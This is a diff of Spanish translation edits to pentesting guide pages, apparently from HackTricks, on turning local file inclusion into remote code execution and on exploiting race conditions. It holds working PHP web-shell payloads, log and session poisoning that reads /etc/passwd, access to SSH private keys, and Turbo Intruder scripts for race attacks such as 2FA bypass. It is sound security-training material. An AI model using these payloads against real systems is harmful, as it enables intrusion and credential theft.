-2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser brute forced) y $FD = descriptor de archivo (también puede ser brute forced)
+1. Sube muchos shells (por ejemplo: 100)
+2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD el file descriptor (también puede obtenerse por fuerza bruta)

-### A través de /proc/self/environ
+### Vía /proc/self/environ

-Como en un archivo de log, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ
+Como con un archivo de logs, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
 ### Mediante upload

-Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : `<?php system($_GET['c']); ?>` ).
+Si puedes subir un archivo, simplemente inyecta el payload de shell en él (p. ej.: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Para mantener el archivo legible es mejor inyectarlo en los metadatos de las imágenes/doc/pdf
+Para mantener el archivo legible, es mejor inyectarlo en los metadatos de las imágenes/doc/pdf

-### Mediante la subida de un archivo ZIP
+### Mediante carga de archivo ZIP

 Sube un archivo ZIP que contenga un PHP shell comprimido y accede:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Mediante PHP sessions
+### A través de PHP sessions

 Comprueba si el sitio web utiliza PHP Session (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-En PHP estas sesiones se almacenan en _/var/lib/php5/sess\\_\[PHPSESSID]\_ archivos
+En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
 ```
-Establece la cookie en `<?php system('cat /etc/passwd');?>`
+Establece la cookie a `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
@ -551,71 +551,71 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
 ```
 ### Vía ssh

-Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id_rsa**
+Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) y trata de acceder a **\<HOME>/.ssh/id_rsa**

 ### **Vía** **vsftpd** _**registros**_

-Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario en el que exista una vulnerabilidad de Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
+Los registros del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el caso de que exista una vulnerabilidad de Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:

-1. Inyecta un PHP payload en el campo de nombre de usuario durante el proceso de inicio de sesión.
+1. Inyecta un payload PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
 2. Tras la inyección, utiliza la LFI para recuperar los registros del servidor desde _**/var/log/vsftpd.log**_.

 ### Vía php base64 filter (usando base64)

-Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, PHP base64 filter simplemente ignora lo que no es base64. Puedes usar eso para bypass la verificación de la extensión de archivo: si suministras base64 que termina con ".php", simplemente ignoraría el "." y concatenaría "php" al base64. Aquí hay un ejemplo de payload:
+Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro PHP base64 simplemente ignora los caracteres no base64. Puedes usar eso para eludir la verificación de la extensión de archivo: si suministras un base64 que termine con ".php", éste simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Mediante php filters (no se necesita archivo)
+### Vía php filters (no file needed)

-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** it en un archivo.
+Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribirlo** en un archivo.


 {{#ref}}
 lfi2rce-via-php-filters.md
 {{#endref}}

-### Mediante segmentation fault
+### Vía segmentation fault

-**Upload** un archivo que será almacenado como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y puedes buscarlo.
+**Sube** un archivo que será almacenado como **temporal** en `/tmp`, luego en la **misma petición,** provoca un **segmentation fault**, y entonces el **archivo temporal no será eliminado** y podrás buscarlo.


 {{#ref}}
 lfi2rce-via-segmentation-fault.md
 {{#endref}}

-### Mediante Nginx temp file storage
+### Vía Nginx almacenamiento de archivos temporales

-Si encuentras una **Local File Inclusion** y **Nginx** está ejecutándose frente a PHP podrías obtener RCE con la siguiente técnica:
+Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:


 {{#ref}}
 lfi2rce-via-nginx-temp-files.md
 {{#endref}}

-### Mediante PHP_SESSION_UPLOAD_PROGRESS
+### Vía PHP_SESSION_UPLOAD_PROGRESS

-Si encuentras una **Local File Inclusion** incluso si **no tienes una session** y `session.auto_start` está `Off`. Si provees el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **enable the session for you**. Podrías abusar de esto para obtener RCE:
+Si encontraste una Local File Inclusion incluso si no tienes una sesión y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:


 {{#ref}}
 via-php_session_upload_progress.md
 {{#endref}}

-### Mediante temp file uploads in Windows
+### Vía cargas de archivos temporales en Windows

-Si encuentras una **Local File Inclusion** y el servidor está ejecutándose en **Windows** podrías conseguir RCE:
+Si encontraste una Local File Inclusion y el servidor está ejecutándose en **Windows** podrías obtener RCE:


 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
 {{#endref}}

-### Mediante `pearcmd.php` + URL args
+### Vía `pearcmd.php` + URL args

-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en php docker images. Moreover, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un `=`, debería usarse como argumento. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+Como se explica en este post, el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes docker de PHP. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de la URL no tiene un `=`, debería usarse como argumento. Véase también el write-up de watchTowr y “Confusion Attacks” de Orange Tsai.

 The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
 ```bash
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 ```
 ### A través de phpinfo() (file_uploads = on)

-Si encontraste un **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE:
+Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on puedes obtener RCE:


 {{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md

 ### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

-Si encontraste un **Local File Inclusion** y **puedes exfiltrate the path** del archivo temporal PERO el **server** está comprobando si el **archivo a incluir tiene marcas PHP**, puedes intentar **bypass that check** con esta **Race Condition**:
+Si encontraste una **Local File Inclusion** y **can exfiltrate the path** del archivo temporal PERO el **server** está **checking** si el **file to be included has PHP marks**, puedes intentar **bypass that check** con esta **Race Condition**:


 {{#ref}}
@ -648,19 +648,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

 ### A través de eternal waiting + bruteforce

-Si puedes abusar del LFI para **subir archivos temporales** y hacer que el server **cuelgue** la ejecución de PHP, podrías entonces **brute force nombres de archivo durante horas** para encontrar el archivo temporal:
+Si puedes abusar del LFI para **upload temporary files** y hacer que el server **hang** la ejecución de PHP, entonces podrías **brute force filenames during hours** para encontrar el archivo temporal:


 {{#ref}}
 lfi2rce-via-eternal-waiting.md
 {{#endref}}

-### Hacia un Fatal Error
+### A Fatal Error

 Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error).

-**No sé cuán útil es esto, pero podría serlo.**\
-_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados._
+**No sé cómo puede ser útil esto pero podría serlo.**\
+_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._

 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@ -3,43 +3,43 @@
 {{#include ../banners/hacktricks-training.md}}

 > [!WARNING]
-> Para obtener una comprensión profunda de esta técnica consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Para obtener una comprensión profunda de esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)

-## Mejorando los ataques de Race Condition
+## Mejoras en ataques de Race Condition

-El principal obstáculo para aprovechar race conditions es asegurarse de que múltiples requests sean procesadas al mismo tiempo, con una diferencia en sus tiempos de procesamiento muy pequeña — idealmente, menos de 1ms.
+El principal obstáculo para aprovechar las race conditions es asegurarse de que múltiples requests sean procesadas al mismo tiempo, con una diferencia en sus tiempos de procesamiento muy pequeña — idealmente, menos de 1ms.

 Aquí puedes encontrar algunas técnicas para sincronizar requests:

 #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

- **HTTP/2**: Permite enviar dos requests sobre una única conexión TCP, reduciendo el impacto del jitter de la red. Sin embargo, debido a variaciones del lado del servidor, dos requests pueden no ser suficientes para un exploit de race condition consistente.
- **HTTP/1.1 'Last-Byte Sync'**: Permite pre-enviar la mayor parte de 20-30 requests, reteniendo un pequeño fragmento que luego se envía conjuntamente, logrando la llegada simultánea al servidor.
+- **HTTP/2**: Soporta enviar dos requests sobre una única conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a variaciones en el lado del servidor, dos requests pueden no ser suficientes para un exploit consistente de race condition.
+- **HTTP/1.1 'Last-Byte Sync'**: Permite pre-enviar la mayor parte de 20-30 requests, reteniendo un pequeño fragmento, que luego se envía junto, logrando la llegada simultánea al servidor.

-La preparación para Last-Byte Sync implica:
+**Preparación para Last-Byte Sync** implica:

-1. Enviar headers y body data menos el byte final sin cerrar el stream.
+1. Enviar headers y datos del body menos el byte final sin cerrar el stream.
 2. Pausar 100ms después del envío inicial.
-3. Deshabilitar TCP_NODELAY para utilizar Nagle's algorithm y agrupar los frames finales.
-4. Hacer ping para calentar la conexión.
+3. Desactivar TCP_NODELAY para aprovechar el algoritmo de Nagle y agrupar los frames finales.
+4. Hacer ping para precalentar la conexión.

-El envío posterior de los frames retenidos debería resultar en su llegada en un solo paquete, verificable con Wireshark. Este método no se aplica a static files, que típicamente no están involucrados en ataques RC.
+El posterior envío de los frames retenidos debería resultar en su llegada en un único paquete, verificable con Wireshark. Este método no aplica a archivos estáticos, que típicamente no están involucrados en RC attacks.

-### Adaptándose a la arquitectura del servidor
+### Adaptación a la arquitectura del servidor

-Entender la arquitectura del objetivo es crucial. Front-end servers pueden enrutar requests de forma diferente, afectando el timing. El connection warming preventivo del lado del servidor, mediante requests inocuos, puede normalizar los tiempos de request.
+Entender la arquitectura del objetivo es crucial. Los front-end servers pueden enrutar las requests de forma distinta, afectando la sincronización. El precalentamiento de conexiones en el lado del servidor, mediante requests sin importancia, puede normalizar el timing de las requests.

-#### Manejo del bloqueo basado en session
+#### Manejo del bloqueo basado en sesión

-Frameworks como el session handler de PHP serializan los requests por session, lo que puede ocultar vulnerabilidades. Utilizar diferentes session tokens para cada request puede eludir este problema.
+Frameworks como el session handler de PHP serializan los requests por session, lo que puede ocultar vulnerabilidades. Utilizar distintos session tokens para cada request puede eludir este problema.

-#### Superando límites de tasa o recursos
+#### Superar límites de rate o recursos

-Si el connection warming no es efectivo, provocar intencionadamente retrasos de rate o resource limits en los web servers mediante una avalancha de requests ficticios podría facilitar el single-packet attack al inducir un retraso del lado del servidor favorable a race conditions.
+Si el precalentamiento de conexiones no funciona, inducir deliberadamente retrasos en el servidor web mediante una avalancha de requests dummy podría facilitar el single-packet attack al provocar una demora en el lado del servidor favorable a las race conditions.

 ## Ejemplos de ataque

- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puedes enviar la request a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puedes cambiar en la request el valor que quieres brute forcear para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`examples/race-single-packer-attack.py`** del desplegable:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puedes enviar la request a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puedes cambiar en la request el valor que quieres brute force para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`examples/race-single-packer-attack.py`** desde el desplegable:

 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>

@ -50,9 +50,9 @@ for password in passwords:
 engine.queue(target.req, password, gate='race1')
 ```
 > [!WARNING]
-> Si el sitio web no soporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
+> Si el sitio no soporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.

- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: En caso de que necesites enviar una request a 1 endpoint y luego varias requests a otros endpoints para desencadenar la RCE, puedes cambiar el script `race-single-packet-attack.py` por algo como:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: En caso de que necesites enviar una request a 1 endpoint y luego varias a otros endpoints para desencadenar la RCE, puedes cambiar el script `race-single-packet-attack.py` con algo como:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
 engine.openGate(currentAttempt)
 ```
 - También está disponible en **Repeater** a través de la nueva opción '**Send group in parallel**' en Burp Suite.
- Para **limit-overrun** podrías simplemente añadir la **misma request 50 veces** en el grupo.
- Para **connection warming**, podrías **añadir** al **inicio** del **grupo** algunas **requests** a alguna parte no estática del servidor web.
- Para **delaying** el proceso **entre** procesar **una request y otra** en 2 pasos de substates, podrías **añadir extra requests entre** ambas requests.
- Para un **multi-endpoint** RC podrías empezar a enviar la **request** que **va al hidden state** y luego **50 requests** inmediatamente después que **explotan el hidden state**.
+- Para **limit-overrun** podrías simplemente añadir la **same request 50 times** en el **group**.
+- Para **connection warming**, podrías **add** al **beginning** del **group** algunas **requests** a alguna parte no estática del servidor web.
+- Para **delaying** el proceso **between** procesar **one request and another** en un flujo de 2 substates, podrías **add extra requests between** ambas **requests**.
+- Para un **multi-endpoint** RC podrías empezar enviando la **request** que **goes to the hidden state** y luego **50 requests** justo después que **exploits the hidden state**.

 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>

- **Automated python script**: El objetivo de este script es cambiar el email de un usuario mientras lo verifica continuamente hasta que el verification token del nuevo email llegue al último email (esto es porque en el código se observó un RC donde era posible modificar un email pero que la verification se enviara al antiguo, porque la variable que indicaba el email ya estaba poblada con el primero).\
-Cuando se encuentra la palabra "objetivo" en los emails recibidos sabemos que recibimos el verification token del email cambiado y terminamos el ataque.
+- **Automated python script**: El objetivo de este script es cambiar el email de un usuario mientras lo verifica continuamente hasta que el verification token del nuevo email llegue al último email (esto es porque en el código se observó un RC donde era posible modificar un email pero que la verificación se enviara al antiguo porque la variable indicando el email ya estaba poblada con el primero).\
+Cuando la palabra "objetivo" se encuentra en los emails recibidos sabemos que recibimos el verification token del email cambiado y terminamos el ataque.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@ -217,21 +217,29 @@ h2_conn.close_connection()

 response = requests.get(url, verify=False)
 ```
+#### Turbo Intruder: notas sobre el motor y el gating
+
+- Selección del motor: usa `Engine.BURP2` en objetivos HTTP/2 para trigger the single‑packet attack; vuelve a `Engine.THREADED` o `Engine.BURP` para HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: encola muchas copias con `gate='race1'` (o per‑attempt gates), lo que retiene la tail de cada request; `openGate('race1')` flushes todas las tails juntas para que lleguen casi simultáneamente.
+- Diagnóstico: marcas de tiempo negativas en Turbo Intruder indican que el servidor respondió antes de que la request se enviara por completo, demostrando solapamiento. Esto es esperado en condiciones de carrera reales.
+- Calentamiento de la conexión: envía un ping o unas cuantas requests inofensivas primero para estabilizar los timings; opcionalmente desactiva `TCP_NODELAY` para fomentar el batching de los frames finales.
+
+
 ### Mejorando Single Packet Attack

-En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), se explicó cómo es posible extender la limitación de 1,500 bytes del single packet attack hasta la **limitación de ventana de 65,535 B de TCP usando fragmentación a nivel IP** (dividiendo un único paquete en múltiples paquetes IP) y enviándolos en distinto orden, lo que permite evitar la reensamblación del paquete hasta que todos los fragmentos hayan llegado al servidor. Esta técnica permitió al investigador enviar 10,000 requests en unos 166 ms.
+En la investigación original se explica que este ataque tiene un límite de 1,500 bytes. Sin embargo, en [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), se explica cómo es posible extender la limitación de 1,500 bytes del single packet attack hasta la **65,535 B window limitation of TCP by using IP layer fragmentation** (dividiendo un solo paquete en múltiples paquetes IP) y enviándolos en orden diferente, lo que impide reensamblar el paquete hasta que todos los fragmentos lleguen al servidor. Esta técnica permitió al investigador enviar 10,000 requests en unos 166ms.

-Ten en cuenta que, aunque esta mejora hace el ataque más fiable en RC que requiere cientos/miles de paquetes que lleguen al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen un ajuste estricto `SETTINGS_MAX_CONCURRENT_STREAMS` a 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.\
-Esto básicamente significa que Apache solo considerará 100 conexiones HTTP desde una única conexión TCP (limitando este ataque RC).
+Ten en cuenta que, aunque esta mejora hace el ataque más fiable en RC que requiere cientos/miles de packets para llegar al mismo tiempo, también puede tener algunas limitaciones de software. Algunos servidores HTTP populares como Apache, Nginx y Go tienen un ajuste estricto `SETTINGS_MAX_CONCURRENT_STREAMS` a 100, 128 y 250. Sin embargo, otros como NodeJS y nghttp2 lo tienen ilimitado.\
+Esto básicamente significa que Apache solo considerará 100 conexiones HTTP desde una única conexión TCP (limitando este RC attack).

 Puedes encontrar algunos ejemplos usando esta técnica en el repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).

 ## Raw BF

-Antes de la investigación anterior, estos eran algunos payloads usados que simplemente intentaban enviar los paquetes lo más rápido posible para provocar un RC.
+Antes de la investigación anterior, estos eran algunos payloads usados que simplemente intentaban enviar los packets lo más rápido posible para causar un RC.

- **Repeater:** Revisa los ejemplos de la sección anterior.
- **Intruder:** Envía la **request** a **Intruder**, establece el **number of threads** a **30** dentro del **Options menu**, selecciona como payload **Null payloads** y genera **30**.
+- **Repeater:** Consulta los ejemplos de la sección anterior.
+- **Intruder**: Envía la **request** a **Intruder**, configura el **number of threads** a **30** dentro del **Options menu and,** selecciona como payload **Null payloads** y genera **30.**
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@ -279,75 +287,75 @@ print(results)

 asyncio.run(main())
 ```
-## **RC Metodología**
+## **Metodología RC**

 ### Limit-overrun / TOCTOU

-Este es el tipo más básico de race condition donde **vulnerabilidades** que **aparecen** en lugares que **limitan el número de veces que puedes realizar una acción**. Como usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy fácil se puede encontrar en [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**this bug**](https://hackerone.com/reports/759247)**.**
+Este es el tipo más básico de race condition donde **vulnerabilities** que **aparecen** en lugares que **limitan el número de veces que puedes realizar una acción**. Como usar el mismo código de descuento en una tienda web varias veces. Un ejemplo muy sencillo se puede encontrar en [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**this bug**](https://hackerone.com/reports/759247)**.**

-Hay muchas variantes de este tipo de ataque, incluyendo:
+Hay muchas variaciones de este tipo de ataque, incluyendo:

- Canjear una tarjeta de regalo varias veces
- Valorar un producto múltiples veces
- Retirar o transferir dinero por encima del saldo de tu cuenta
- Reutilizar la solución de un mismo CAPTCHA
- Evadir un anti-brute-force rate limit
+- Canjear una tarjeta regalo varias veces
+- Calificar un producto varias veces
+- Retirar o transferir dinero en exceso del saldo de tu cuenta
+- Reutilizar una única solución CAPTCHA
+- Eludir un rate limit anti-brute-force

 ### **Subestados ocultos**

-Explotar race conditions complejas suele implicar aprovechar oportunidades breves para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí tienes cómo abordarlo:
+Explotar race conditions complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí tienes cómo abordarlo:

-1. **Identificar Subestados Ocultos Potenciales**
- Empieza por localizar endpoints que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
- **Almacenamiento**: Prefiere endpoints que manipulen datos persistentes en server-side por encima de aquellos que manejan datos en client-side.
- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con las que añaden datos nuevos.
- **Keying**: Los ataques exitosos suelen implicar operaciones indexadas por el mismo identificador, por ejemplo username o reset token.
+1. **Identificar posibles subestados ocultos**
+- Comienza identificando endpoints que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Concéntrate en:
+- **Almacenamiento**: Prefiere endpoints que manipulen datos persistentes server-side por encima de los que manejan datos client-side.
+- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con las que añaden nuevos datos.
+- **Keying**: Los ataques exitosos suelen involucrar operaciones que usan la misma clave/identificador, p. ej., username o reset token.
 2. **Realizar sondeos iniciales**
- Prueba los endpoints identificados con ataques de race condition, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
-3. **Demostrar la Vulnerabilidad**
- Reduce el ataque al número mínimo de requests necesarios para explotar la vulnerabilidad, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al timing preciso involucrado.
+- Prueba los endpoints identificados con ataques de race condition, observando cualquier desviación respecto a los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden indicar una vulnerabilidad.
+3. **Demostrar la vulnerabilidad**
+- Reduce el ataque al número mínimo de requests necesarias para explotarlo, a menudo solo dos. Este paso puede requerir múltiples intentos o automatización debido al timing preciso involucrado.

-### Ataques sensibles al tiempo
+### Time Sensitive Attacks

 La precisión en el timing de las requests puede revelar vulnerabilidades, especialmente cuando se usan métodos predecibles como timestamps para tokens de seguridad. Por ejemplo, generar password reset tokens basados en timestamps podría permitir tokens idénticos para requests simultáneas.

 **Para explotar:**

- Usa un timing preciso, como un ataque de un solo packet, para hacer solicitudes concurrentes de password reset. Tokens idénticos indican una vulnerabilidad.
+- Usa timing preciso, como un ataque de un solo paquete, para hacer requests concurrentes de password reset. Tokens idénticos indican una vulnerabilidad.

 **Ejemplo:**

- Solicita dos password reset tokens al mismo tiempo y compáralos. Tokens que coinciden sugieren un fallo en la generación de tokens.
+- Solicita dos password reset tokens al mismo tiempo y compáralos. Tokens coincidentes sugieren un fallo en la generación de tokens.

-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para probar esto.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**

 ## Estudios de caso de subestados ocultos

-### Pagar y añadir un artículo
+### Pay & add an Item

-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un artículo extra** que **no tendrás que pagar**.
+Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pay** en una tienda y **add an extra** item que **no tendrás que pagar**.

-### Confirmar otros emails
+### Confirm other emails

-La idea es **verificar una dirección de email y cambiarla por otra al mismo tiempo** para comprobar si la plataforma verifica la nueva que se cambió.
+La idea es **verificar una dirección de correo y cambiarla a otra diferente al mismo tiempo** para averiguar si la plataforma verifica la nueva dirección cambiada.

-### Cambiar email a 2 direcciones basado en cookies
+### Change email to 2 emails addresses Cookie based

-Según [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab fue vulnerable a un takeover de esta manera porque podría **send** el **email verification token de un email al otro email**.
+Según [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab fue vulnerable a una takeover de esta manera porque podría **send** el **email verification token de un email a otro email**.

-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para probar esto.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**

-### Estados ocultos de la base de datos / Confirmation Bypass
+### Hidden Database states / Confirmation Bypass

-Si **2 different writes** se usan para **añadir** **información** dentro de una **base de datos**, hay una pequeña porción de tiempo donde **solo los primeros datos han sido escritos** dentro de la base de datos. Por ejemplo, al crear un usuario el **username** y **password** podrían ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que por un pequeño tiempo el **token para confirmar una cuenta es null**.
+Si se usan **2 escrituras diferentes** para **añadir** **información** dentro de una **base de datos**, hay un pequeño lapso de tiempo en el que **solo los primeros datos han sido escritos** en la base de datos. Por ejemplo, al crear un usuario el **username** y la **password** podrían ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que durante un pequeño tiempo el **token para confirmar una cuenta es null**.

-Por lo tanto **registrar una cuenta y enviar varias requests con un token vacío** (`token=` or `token[]=` or any other variation) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el email.
+Por lo tanto, **registrar una cuenta y enviar varias requests con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el email.

-Consulta este [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para probar esto.
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**

 ### Bypass 2FA

-The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
+El siguiente pseudo-code es vulnerable a race condition porque en un tiempo muy pequeño la **2FA no se aplica** mientras se crea la sesión:
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@ -357,23 +365,23 @@ session['enforce_mfa'] = True
 ```
 ### OAuth2 persistencia eterna

-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Estos servicios te permitirán crear una aplicación y autenticar usuarios que el proveedor ha registrado. Para ello, el **cliente** necesitará **permitir que tu aplicación** acceda a parte de sus datos dentro del **OAUth provider**.\
-Hasta aquí es solo un login común con google/linkedin/github... donde se te muestra una página que dice: "_La aplicación \<InsertCoolName> quiere acceder a tu información, ¿quieres permitirlo?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Estos servicios te permiten crear una aplicación y autenticar usuarios que el provider ha registrado. Para ello, el **client** necesitará **permitir que tu aplicación** acceda a parte de sus datos dentro del **OAUth provider**.\
